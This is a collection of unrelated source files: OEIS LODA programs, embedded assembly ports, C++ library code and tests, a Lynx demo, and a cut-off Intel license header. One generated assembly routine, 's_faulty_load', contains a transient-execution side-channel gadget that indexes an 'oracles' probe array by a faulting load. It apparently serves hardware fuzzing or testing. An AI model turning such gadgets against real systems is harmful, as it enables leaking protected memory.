lea dstq, [dstq+strideq*4+16]
dec r10b
jg .pass2_loop
RET
%endif ; ARCH_X86_64
|
#include "hi.asm"
lh H(0x5a)
addi L(0x5a)
hlt
|
; HOTKEY Execute Thing V2.01 1988 Tony Tebby QJUMP
;
; 2003-03-11 2.01 Added hk_xthgid (MK)
section hotkey
xdef hk_xthg
xdef hk_xthgid
xref hk_xname
xref gu_thexn
include 'dev8_ee_hk_data'
;+++
; This routine executes a thing defined by a hotkey item
;
; a1 c p pointer to item
; a3 c p pointer to Hotkey linkage
;
; status return standard
;---
hk_xthg
move.l d1,-(sp)
bsr.s hk_xthgid
movem.l (sp)+,d1
rts
;+++
; This routine executes a thing defined by a hotkey item
;
; d1 r job ID
; a1 c p pointer to item
; a3 c p pointer to Hotkey linkage
;
; status return standard
;---
hk_xthgid
reglist reg d2/a0/a1/a2
movem.l reglist,-(sp)
jsr hk_xname ; expand executable item name
moveq #0,d1 ; independent
moveq #32,d2 ; standard priority
swap d2
jsr gu_thexn ; execute it
movem.l (sp)+,reglist
rts
end
|
; A326367: Number of tilings of an equilateral triangle of side length n with unit triangles (of side length 1) and exactly two unit "lozenges" or "diamonds" (also of side length 1).
; 0,0,24,126,387,915,1845,3339,5586,8802,13230,19140,26829,36621,48867,63945,82260,104244,130356,161082,196935,238455,286209,340791,402822,472950,551850,640224,738801,848337,969615,1103445,1250664,1412136,1588752,1781430,1991115,2218779,2465421,2732067,3019770,3329610,3662694,4020156,4403157,4812885,5250555,5717409,6214716,6743772,7305900,7902450,8534799,9204351,9912537,10660815,11450670,12283614,13161186,14084952,15056505,16077465,17149479,18274221,19453392,20688720,21981960,23334894,24749331,26227107,27770085,29380155,31059234,32809266,34632222,36530100,38504925,40558749,42693651,44911737,47215140,49606020,52086564,54658986,57325527,60088455,62950065,65912679,68978646,72150342,75430170,78820560,82323969,85942881,89679807,93537285,97517880,101624184,105858816,110224422
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
mov $4,$0
mov $7,0
lpb $4
mov $0,$8
sub $4,1
sub $0,$4
mov $5,$0
bin $5,2
mov $6,27
mul $6,$5
trn $6,3
add $7,$6
lpe
add $1,$7
lpe
mov $0,$1
|
#include "nvwa/fc_queue.h"
#include <atomic>
#include <chrono>
#include <functional>
#include <thread>
#include <type_traits>
#include <typeinfo>
#include <utility>
#include <boost/core/demangle.hpp>
#include <boost/test/unit_test.hpp>
#include "nvwa/pctimer.h"
using namespace boost::unit_test_framework;
class Obj {
public:
Obj() {}
~Obj() noexcept(false) {}
};
void swap(Obj& lhs, Obj& rhs) noexcept;
namespace {
template <typename T>
void check_type()
{
using test_type = nvwa::fc_queue<T>;
BOOST_TEST_MESSAGE("Checking type "
<< boost::core::demangle(typeid(test_type).name()));
BOOST_TEST_MESSAGE("is_nothrow_constructible is "
<< std::is_nothrow_constructible<test_type>::value);
BOOST_TEST_MESSAGE("is_nothrow_default_constructible is "
<< std::is_nothrow_default_constructible<test_type>::value);
BOOST_TEST_MESSAGE("is_nothrow_move_constructible is "
<< std::is_nothrow_move_constructible<test_type>::value);
BOOST_TEST_MESSAGE("is_nothrow_copy_constructible is "
<< std::is_nothrow_copy_constructible<test_type>::value);
BOOST_TEST_MESSAGE("is_nothrow_move_assignable is "
<< std::is_nothrow_move_assignable<test_type>::value);
BOOST_TEST_MESSAGE("is_nothrow_copy_assignable is "
<< std::is_nothrow_copy_assignable<test_type>::value);
BOOST_TEST_MESSAGE("is_nothrow_destructible is "
<< std::is_nothrow_destructible<test_type>::value);
}
const int LOOPS = 10'000'000;
std::atomic<bool> parallel_test_failed = false;
void add_to_queue(nvwa::fc_queue<int>& q)
{
int stop_count = 0;
for (int i = 0; i < LOOPS; ++i) {
while (q.full()) {
std::this_thread::sleep_for(std::chrono::milliseconds(1));
if (parallel_test_failed) {
return;
}
++stop_count;
}
q.push(i);
}
BOOST_TEST_MESSAGE(stop_count << " stops during enqueueing");
}
void read_and_check_queue(nvwa::fc_queue<int>& q)
{
int stop_count = 0;
for (int i = 0; i < LOOPS; ++i) {
while (q.empty()) {
std::this_thread::sleep_for(std::chrono::milliseconds(1));
++stop_count;
}
if (i != q.front()) {
BOOST_ERROR("Failure on " << i << "th read: "
"Expected " << i << ", got " << q.front());
parallel_test_failed = true;
break;
}
q.pop();
}
std::this_thread::sleep_for(std::chrono::milliseconds(1));
BOOST_TEST_MESSAGE(stop_count << " stops during dequeueing");
}
void add_to_queue2(nvwa::fc_queue<int>& q)
{
int stop_count = 0;
for (int i = 0; i < LOOPS; ++i) {
while (!q.write(i)) {
std::this_thread::sleep_for(std::chrono::milliseconds(1));
if (parallel_test_failed) {
return;
}
++stop_count;
}
}
BOOST_TEST_MESSAGE(stop_count << " stops during enqueueing");
}
void read_and_check_queue2(nvwa::fc_queue<int>& q)
{
int stop_count = 0;
for (int i = 0; i < LOOPS; ++i) {
int value;
while (!q.read(value)) {
std::this_thread::sleep_for(std::chrono::milliseconds(1));
++stop_count;
}
if (i != value) {
BOOST_ERROR("Failure on " << i << "th read: "
"Expected " << i << ", got " << q.front());
parallel_test_failed = true;
break;
}
}
std::this_thread::sleep_for(std::chrono::milliseconds(1));
BOOST_TEST_MESSAGE(stop_count << " stops during dequeueing");
}
} /* unnamed namespace */
BOOST_AUTO_TEST_CASE(fc_queue_test)
{
nvwa::fc_queue<int> q(4);
BOOST_TEST_MESSAGE("sizeof fc_queue is " << sizeof q);
BOOST_CHECK_EQUAL(q.capacity(), 4U);
BOOST_CHECK_EQUAL(q.size(), 0U);
BOOST_CHECK(!q.full());
BOOST_CHECK(q.empty());
q.push(1);
BOOST_CHECK_EQUAL(q.size(), 1U);
BOOST_CHECK(!q.full());
BOOST_CHECK(!q.empty());
BOOST_CHECK_EQUAL(q.front(), 1);
BOOST_CHECK_EQUAL(q.back(), 1);
q.push(2);
BOOST_CHECK_EQUAL(q.size(), 2U);
BOOST_CHECK(!q.full());
BOOST_CHECK(!q.empty());
BOOST_CHECK_EQUAL(q.front(), 1);
BOOST_CHECK_EQUAL(q.back(), 2);
q.push(3);
BOOST_CHECK_EQUAL(q.size(), 3U);
BOOST_CHECK(!q.full());
BOOST_CHECK(!q.empty());
BOOST_CHECK_EQUAL(q.front(), 1);
BOOST_CHECK_EQUAL(q.back(), 3);
q.push(4);
BOOST_CHECK_EQUAL(q.size(), 4U);
BOOST_CHECK(q.full());
BOOST_CHECK(!q.empty());
BOOST_CHECK_EQUAL(q.front(), 1);
BOOST_CHECK_EQUAL(q.back(), 4);
q.push(5);
BOOST_CHECK_EQUAL(q.size(), 4U);
BOOST_CHECK(q.full());
BOOST_CHECK(!q.empty());
BOOST_CHECK_EQUAL(q.front(), 2);
BOOST_CHECK_EQUAL(q.back(), 5);
BOOST_CHECK(!q.contains(1));
BOOST_CHECK(q.contains(2));
BOOST_CHECK(q.contains(3));
BOOST_CHECK(q.contains(5));
BOOST_CHECK(!q.contains(6));
q.pop();
BOOST_CHECK_EQUAL(q.size(), 3U);
BOOST_CHECK(!q.full());
BOOST_CHECK(!q.empty());
BOOST_CHECK_EQUAL(q.front(), 3);
BOOST_CHECK_EQUAL(q.back(), 5);
q.pop();
BOOST_CHECK_EQUAL(q.size(), 2U);
BOOST_CHECK(!q.full());
BOOST_CHECK(!q.empty());
BOOST_CHECK_EQUAL(q.front(), 4);
BOOST_CHECK_EQUAL(q.back(), 5);
q.pop();
BOOST_CHECK_EQUAL(q.size(), 1U);
BOOST_CHECK(!q.full());
BOOST_CHECK(!q.empty());
BOOST_CHECK_EQUAL(q.front(), 5);
BOOST_CHECK_EQUAL(q.back(), 5);
nvwa::fc_queue<int> r(q);
q.pop();
BOOST_CHECK_EQUAL(q.size(), 0U);
BOOST_CHECK(!q.full());
BOOST_CHECK(q.empty());
BOOST_CHECK(!r.full());
BOOST_CHECK(!r.empty());
BOOST_CHECK_EQUAL(r.front(), 5);
BOOST_CHECK_EQUAL(r.back(), 5);
q = std::move(r);
BOOST_CHECK(r.empty());
BOOST_CHECK(r.full());
BOOST_CHECK(!q.empty());
BOOST_CHECK(!q.full());
BOOST_CHECK_EQUAL(q.front(), 5);
BOOST_CHECK_EQUAL(q.back(), 5);
nvwa::fc_queue<int> s;
BOOST_CHECK(s.empty());
BOOST_CHECK(s.full());
BOOST_CHECK_EQUAL(s.capacity(), 0U);
BOOST_CHECK_EQUAL(s.size(), 0U);
s = q;
BOOST_CHECK(!q.empty());
BOOST_CHECK(!q.full());
BOOST_CHECK_EQUAL(q.front(), 5);
BOOST_CHECK_EQUAL(q.back(), 5);
BOOST_CHECK(!s.empty());
BOOST_CHECK(!s.full());
BOOST_CHECK_EQUAL(s.front(), 5);
BOOST_CHECK_EQUAL(s.back(), 5);
BOOST_CHECK_EQUAL(s.capacity(), 4U);
BOOST_CHECK_EQUAL(s.size(), 1U);
s = nvwa::fc_queue<int>(5);
BOOST_CHECK(s.empty());
BOOST_CHECK(!s.full());
BOOST_CHECK_EQUAL(s.capacity(), 5U);
BOOST_CHECK_EQUAL(s.size(), 0U);
s.push(1);
BOOST_CHECK_EQUAL(s.front(), 1);
BOOST_CHECK_EQUAL(s.back(), 1);
BOOST_CHECK_EQUAL(s.size(), 1U);
s.push(2);
BOOST_CHECK_EQUAL(s.front(), 1);
BOOST_CHECK_EQUAL(s.back(), 2);
BOOST_CHECK_EQUAL(s.size(), 2U);
swap(q, s);
BOOST_CHECK_EQUAL(q.front(), 1);
BOOST_CHECK_EQUAL(q.back(), 2);
BOOST_CHECK_EQUAL(q.size(), 2U);
BOOST_CHECK_EQUAL(s.front(), 5);
BOOST_CHECK_EQUAL(s.back(), 5);
check_type<int>();
check_type<Obj>();
}
BOOST_AUTO_TEST_CASE(fc_queue_parallel_test)
{
parallel_test_failed = false;
nvwa::fc_queue<int> q(100'000);
auto t1 = nvwa::pctimer();
std::thread enqueue_thread(add_to_queue, std::ref(q));
std::thread dequeue_thread(read_and_check_queue, std::ref(q));
enqueue_thread.join();
dequeue_thread.join();
BOOST_CHECK(!parallel_test_failed);
auto t2 = nvwa::pctimer();
BOOST_TEST_MESSAGE("Test took " << (t2 - t1) << " seconds");
}
BOOST_AUTO_TEST_CASE(fc_queue_parallel_test2)
{
parallel_test_failed = false;
nvwa::fc_queue<int> q(100'000);
auto t1 = nvwa::pctimer();
std::thread enqueue_thread(add_to_queue2, std::ref(q));
std::thread dequeue_thread(read_and_check_queue2, std::ref(q));
enqueue_thread.join();
dequeue_thread.join();
BOOST_CHECK(!parallel_test_failed);
auto t2 = nvwa::pctimer();
BOOST_TEST_MESSAGE("Test took " << (t2 - t1) << " seconds");
}
|
/*
This file is part of:
NoahFrame
https://github.com/ketoo/NoahGameFrame
Copyright 2009 - 2021 NoahFrame(NoahGameFrame)
File creator: lvsheng.huang
NoahFrame is open-source software and you can redistribute it and/or modify
it under the terms of the License; besides, anyone who use this file/software must include this copyright announcement.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include "NFComm/NFPluginModule/NFPlatform.h"
#if NF_PLATFORM == NF_PLATFORM_WIN
#pragma comment( lib, "Dbghelp.lib" )
#endif
#ifdef NF_DEBUG_MODE
#if NF_PLATFORM == NF_PLATFORM_WIN
#ifdef NF_DYNAMIC_PLUGIN
#pragma comment( lib, "NFCore.lib" )
#else
#pragma comment( lib, "NFCore.lib" )
#endif
//
#elif NF_PLATFORM == NF_PLATFORM_LINUX || NF_PLATFORM == NF_PLATFORM_ANDROID
#pragma comment( lib, "NFCore.a" )
#elif NF_PLATFORM == NF_PLATFORM_APPLE || NF_PLATFORM == NF_PLATFORM_APPLE_IOS
#endif
#else
#if NF_PLATFORM == NF_PLATFORM_WIN
#ifdef NF_DYNAMIC_PLUGIN
#pragma comment( lib, "NFCore.lib" )
#else
#pragma comment( lib, "NFCore.lib" )
#endif
//
#elif NF_PLATFORM == NF_PLATFORM_LINUX || NF_PLATFORM == NF_PLATFORM_ANDROID
#pragma comment( lib, "NFCore.a" )
#elif NF_PLATFORM == NF_PLATFORM_APPLE || NF_PLATFORM == NF_PLATFORM_APPLE_IOS
#endif
#endif
|
; A233083: Number of 2 X n 0..3 arrays with no element x(i,j) adjacent to value 3-x(i,j) horizontally or antidiagonally, top left element zero, and 1 appearing before 2 in row major order.
; 3,14,95,662,4631,32414,226895,1588262,11117831,77824814,544773695,3813415862,26693911031,186857377214,1308001640495,9156011483462,64092080384231,448644562689614,3140511938827295,21983583571791062
mov $1,3
mov $2,1
mov $3,5
mov $4,3
lpb $0,1
sub $0,1
add $4,3
sub $4,$2
add $4,$1
mul $1,2
add $1,$3
mul $1,2
sub $1,$4
mov $3,$1
mul $3,2
mov $4,$2
lpe
|
; A179942: Number of times n appears in a 1000 x 1000 multiplication table.
; 1,2,2,3,2,4,2,4,3,4,2,6,2,4,4,5,2,6,2,6,4,4,2,8,3,4,4,6,2,8,2,6,4,4,4,9,2,4,4,8,2,8,2,6,6,4,2,10,3,6,4,6,2,8,4,8,4,4,2,12,2,4,6,7,4,8,2,6,4,8,2,12,2,4,6,6,4,8,2,10,5,4,2,12,4,4,4,8,2,12,4,6,4,4,4,12,2,6,6,9,2,8,2,8,8,4,2,12,2,8,4,10,2,8,4,6,6,4,4,16,3,4,4,6,4,12,2,8,4,8,2,12,4,4,8,8,2,8,2,12,4,4,4,15,4,4,6,6,2,12,2,8,6,8,4,12,2,4,4,12,4,10,2,6,8,4,2,16,3,8,6,6,2,8,6,10,4,4,2,18,2,8,4,8,4,8,4,6,8,8,2,14,2,4,8,9,2,12,2,12,4,4,4,12,4,4,6,10,4,16,2,6,4,4,4,16,4,4,4,12,4,8,2,12,9,4,2,12,2,8,8,8,2,12,4,6,4,8,2,20,2,6,6,6,6,8,4,8,4,8
mov $5,2
mov $7,$0
lpb $5
sub $5,1
add $0,$5
sub $0,1
mov $2,$0
mov $4,$0
mov $6,2
lpb $2
add $4,2
lpb $4
trn $4,$2
add $6,1
lpe
sub $2,1
add $4,$0
lpe
mov $3,$5
lpb $3
mov $1,$6
sub $3,1
lpe
lpe
lpb $7
sub $1,$6
mov $7,0
lpe
sub $1,1
|
;********************************************************************************************************
; uC/CPU
; CPU CONFIGURATION & PORT LAYER
;
; (c) Copyright 2004-2015; Micrium, Inc.; Weston, FL
;
; All rights reserved. Protected by international copyright laws.
;
; uC/CPU is provided in source form to registered licensees ONLY. It is
; illegal to distribute this source code to any third party unless you receive
; written permission by an authorized Micrium representative. Knowledge of
; the source code may NOT be used to develop a similar product.
;
; Please help us continue to provide the Embedded community with the finest
; software available. Your honesty is greatly appreciated.
;
; You can find our product's user manual, API reference, release notes and
; more information at https://doc.micrium.com.
; You can contact us at www.micrium.com.
;********************************************************************************************************
;
;********************************************************************************************************
;
; CPU PORT FILE
;
; ColdFire
; Codewarrior
;
; Filename : cpu_a.asm
; Version : V1.30.02.00
; Programmer(s) : JJL
; FGK
;********************************************************************************************************
;********************************************************************************************************
; PUBLIC DECLARATIONS
;********************************************************************************************************
.global _CPU_VectInit
.global _CPU_SR_Save
.global _CPU_SR_Restore
;********************************************************************************************************
; EXTERNAL DECLARATIONS
;********************************************************************************************************
.extern _CPU_VBR_Ptr
.text
/*
;********************************************************************************************************
; VECTOR BASE REGISTER INITIALIZATION
;
; Description : This function is called to set the Vector Base Register to the value specified in
; the function argument.
;
; Argument(s) : VBR Desired vector base address.
;
; Return(s) : none.
;
; Note(s) : 'CPU_VBR_Ptr' keeps the current vector base address.
;********************************************************************************************************
*/
_CPU_VectInit:
MOVE.L D0,-(A7) /* Save D0 */
MOVE.L 8(A7),D0 /* Retrieve 'vbr' parameter from stack */
MOVE.L D0,_CPU_VBR_Ptr /* Save 'vbr' into CPU_VBR_Ptr */
MOVEC D0,VBR
MOVE.L (A7)+,D0 /* Restore D0 */
RTS
/*
;********************************************************************************************************
; CPU_SR_Save() for OS_CRITICAL_METHOD #3
;
; Description : This functions implements the OS_CRITICAL_METHOD #3 function to preserve the state of the
; interrupt disable flag in order to be able to restore it later.
;
; Argument(s) : none.
;
; Return(s) : It is assumed that the return value is placed in the D0 register as expected by the
; compiler.
;
; Note(s) : none.
;********************************************************************************************************
*/
_CPU_SR_Save:
MOVE.W SR,D0 /* Copy SR into D0 */
MOVE.L D0,-(A7) /* Save D0 */
ORI.L #0x0700,D0 /* Disable interrupts */
MOVE.W D0,SR /* Restore SR state with interrupts disabled */
MOVE.L (A7)+,D0 /* Restore D0 */
RTS
/*
;********************************************************************************************************
; CPU_SR_Restore() for OS_CRITICAL_METHOD #3
;
; Description : This functions implements the OS_CRITICAL_METHOD #function to restore the state of the
; interrupt flag.
;
; Argument(s) : cpu_sr Contents of the SR to restore. It is assumed that 'cpu_sr' is passed in the stack.
;
; Return(s) : none.
;
; Note(s) : none.
;********************************************************************************************************
*/
_CPU_SR_Restore:
MOVE.L D0,-(A7) /* Save D0 */
MOVE.W 10(A7),D0 /* Retrieve cpu_sr parameter from stack */
MOVE.W D0,SR /* Restore SR previous state */
MOVE.L (A7)+,D0 /* Restore D0 */
RTS
/*
;********************************************************************************************************
; CPU ASSEMBLY PORT FILE END
;********************************************************************************************************
*/
.end
|
// ---------------------------------------------------------------------
//
// Copyright (c) 2020 - 2020 by the IBAMR developers
// All rights reserved.
//
// This file is part of IBAMR.
//
// IBAMR is free software and is distributed under the 3-clause BSD
// license. The full text of the license can be found in the file
// COPYRIGHT at the top level directory of IBAMR.
//
// ---------------------------------------------------------------------
/////////////////////////////// INCLUDES /////////////////////////////////////
#include "ibtk/MergingLoadBalancer.h"
#include "ibtk/namespaces.h" // IWYU pragma: keep
#include "Box.h"
#include "tbox/SAMRAI_MPI.h"
#include <utility>
#include <vector>
/////////////////////////////// NAMESPACE ////////////////////////////////////
namespace IBTK
{
/////////////////////////////// STATIC ///////////////////////////////////////
/////////////////////////////// PUBLIC ///////////////////////////////////////
void
MergingLoadBalancer::loadBalanceBoxes(hier::BoxArray<NDIM>& out_boxes,
hier::ProcessorMapping& mapping,
const hier::BoxList<NDIM>& in_boxes,
const tbox::Pointer<hier::PatchHierarchy<NDIM> > hierarchy,
int level_number,
const hier::BoxArray<NDIM>& physical_domain,
const hier::IntVector<NDIM>& ratio_to_hierarchy_level_zero,
const hier::IntVector<NDIM>& min_size,
const hier::IntVector<NDIM>& max_size,
const hier::IntVector<NDIM>& cut_factor,
const hier::IntVector<NDIM>& bad_interval) const
{
mesh::LoadBalancer<NDIM>::loadBalanceBoxes(out_boxes,
mapping,
in_boxes,
hierarchy,
level_number,
physical_domain,
ratio_to_hierarchy_level_zero,
min_size,
max_size,
cut_factor,
bad_interval);
// pairs of processors and boxes
std::vector<std::pair<int, hier::Box<NDIM> > > new_boxes;
const int n_nodes = tbox::SAMRAI_MPI::getNodes();
for (int r = 0; r < n_nodes; ++r)
{
// get all boxes on processor r.
std::vector<hier::Box<NDIM> > boxes;
for (int i = 0; i < out_boxes.size(); ++i)
if (mapping.getProcessorAssignment(i) == r) boxes.push_back(out_boxes[i]);
// populate new_boxes with merged boxes.
const auto merged_boxes = IBTK::merge_boxes_by_longest_edge(boxes);
for (const hier::Box<NDIM>& box : merged_boxes) new_boxes.emplace_back(r, box);
}
// Overwrite what the parent class did with the merged boxes.
mapping.setMappingSize(new_boxes.size());
out_boxes.resizeBoxArray(new_boxes.size());
for (unsigned int i = 0; i < new_boxes.size(); ++i)
{
mapping.setProcessorAssignment(i, new_boxes[i].first);
out_boxes[i] = new_boxes[i].second;
}
}
/////////////////////////////// PROTECTED ////////////////////////////////////
/////////////////////////////// PRIVATE //////////////////////////////////////
/////////////////////////////// NAMESPACE ////////////////////////////////////
} // namespace IBTK
//////////////////////////////////////////////////////////////////////////////
|
; A338795: Each term of A003215 (centered hexagonal numbers) is multiplied by the corresponding term of A003154 (centered dodecagonal numbers).
; 1,91,703,2701,7381,16471,32131,56953,93961,146611,218791,314821,439453,597871,795691,1038961,1334161,1688203,2108431,2602621,3178981,3846151,4613203,5489641,6485401,7610851,8876791,10294453,11875501,13632031,15576571,17722081,20081953
mul $0,2
add $0,1
pow $0,4
div $0,16
mul $0,18
add $0,1
|
; A019999: Number of similarity classes of descendants created by bisection refinement from an initial n-simplex.
; 4,36,384,4800,69120,1128960,20643840,418037760,9289728000,224811417600,5885971660800,165788201779200,4999151930572800,160687026339840000,5484783832399872000,198137815945445376000
add $0,2
mov $2,$0
add $2,$0
lpb $2
mul $0,$2
sub $2,2
lpe
div $0,16
mul $0,4
|
***************
* plasma2.asm
****************
include <includes/hardware.inc>
* macros
include <macros/help.mac>
include <macros/if_while.mac>
include <macros/mikey.mac>
include <macros/suzy.mac>
*
* vars only for this program
*
BEGIN_ZP
x ds 1
y ds 1
offset ds 1
temp ds 1
END_ZP
screen0 equ $2000
IFD LNX
run $200
ELSE
run $400
ENDIF
IFND LNX
lda #8
sta $fff9
cli
stz x
ENDIF
Start::
ldx #9-1
.mloop
ldy SUZY_addr,x
lda SUZY_data,x
sta $fc00,y
dex
bpl .mloop
stz $fd94
sta $fd95
SETRGB pal
.lx
ldy #101
.ly
lda x
cmp #160
beq endless
sta plot_x
jsr get_sin
sta temp
tya
sta plot_y
lsr
jsr get_cos
adc temp
lsr
sta temp
clc
tya
adc x
lsr
jsr get_sin
adc temp
lsr
sta plot_color
lda #<plot_SCB
sta $fc10
lda #>plot_SCB
sta $fc11
lda #1
STA $FC91
STZ $FD90
STZ $FD91
//-> STZ $FD90
dey
bpl .ly
inc x
bra .lx
endless::
//-> lda $fcb0
//-> bne .2
ldx #30
.vbl
lda $fd0a
bne .vbl
dex
bpl .vbl
.2
VBL
dey
bpl endless
ldy $fdbf
ldx #30
.1
lda $fda0,x
sta $fda1,x
dex
bpl .1
lda $fdb0
sta $fda0
sty $fdb0
ldy #2
bra endless
get_cos::
clc
adc #8
get_sin::
and #$1f
lsr
tax
lda sin,x
bcs .99
lsr
lsr
lsr
lsr
.99
and #$f
clc
rts
sin: dc.b $89,$ab,$cd,$ee
dc.b $fe,$ed,$cb,$a9
dc.b $76,$54,$32,$11
dc.b $11,$12,$34,$56
pal:
DP 604,715,725,736,746,857,867,878,888,898,8A9,8B9,9CA,9DA,9EB,9FB
SUZY_addr db $09,$08,$92,$04,$06,$28,$2a,$83,$90
SUZY_data db $20,$00,$24,$00,$00,$7f,$7f,$f3,$01
size set *-Start
free set 249-size-18
IF free > 0
REPT free
dc.b $42
ENDR
ENDIF
;; must be at end
plot_SCB:
dc.b SPRCTL0_16_COL |SPRCTL0_BACKGROUND_NON_COLLIDABLE // 0
dc.b SPRCTL1_LITERAL|SPRCTL1_DEPTH_SIZE_RELOAD // 1
dc.b 0 // 2
dc.w 0 // 3
dc.w plot_data // 5
plot_x dc.w 0 // 7
plot_y dc.w 0 // 9
dc.w $100,$100 // 11
plot_color:
dc.b $0f // 15
plot_data:
dc.b 2,$10 // 16
End:
IFND LNX
dc.b 0
ENDIF
size set End-Start
echo "Size:%dsize Free:%dfree"
|
;;
;; Copyright (c) 2020, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%ifndef AES_CBC_DEC_128
%define AES_CBC_DEC_128 aes_cbcs_1_9_dec_128_sse
%define CBCS
%endif
%include "sse/aes128_cbc_dec_by4_sse.asm"
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdx
// Load
lea addresses_A+0xa313, %rbx
xor %r8, %r8
mov (%rbx), %dx
nop
nop
nop
nop
nop
sub $5620, %rbx
// Store
lea addresses_RW+0x7c43, %r9
nop
nop
inc %r11
movb $0x51, (%r9)
cmp $13093, %rcx
// Store
lea addresses_WT+0x1b4b3, %rcx
clflush (%rcx)
nop
dec %r11
movw $0x5152, (%rcx)
nop
nop
nop
cmp $48556, %rbp
// Store
lea addresses_normal+0x6d93, %r9
nop
nop
nop
nop
nop
inc %rdx
movb $0x51, (%r9)
nop
nop
nop
nop
nop
dec %r8
// Store
lea addresses_normal+0xf353, %r8
nop
sub %r11, %r11
movb $0x51, (%r8)
nop
nop
nop
nop
nop
inc %rbp
// Store
lea addresses_RW+0xd6d3, %rbx
nop
inc %r8
mov $0x5152535455565758, %rbp
movq %rbp, (%rbx)
nop
nop
nop
add %r11, %r11
// Store
lea addresses_D+0x19b3, %r9
nop
nop
nop
cmp $24102, %rdx
mov $0x5152535455565758, %rcx
movq %rcx, %xmm6
vmovups %ymm6, (%r9)
nop
nop
nop
nop
cmp $2964, %r8
// Faulty Load
lea addresses_D+0x3793, %rbx
nop
nop
nop
and %r9, %r9
movups (%rbx), %xmm1
vpextrq $1, %xmm1, %r11
lea oracles, %rbp
and $0xff, %r11
shlq $12, %r11
mov (%rbp,%r11,1), %r11
pop %rdx
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_RW'}}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT'}}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 1, 'NT': True, 'type': 'addresses_normal'}}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': True, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_RW'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_D'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'36': 3}
36 36 36
*/
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2015 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
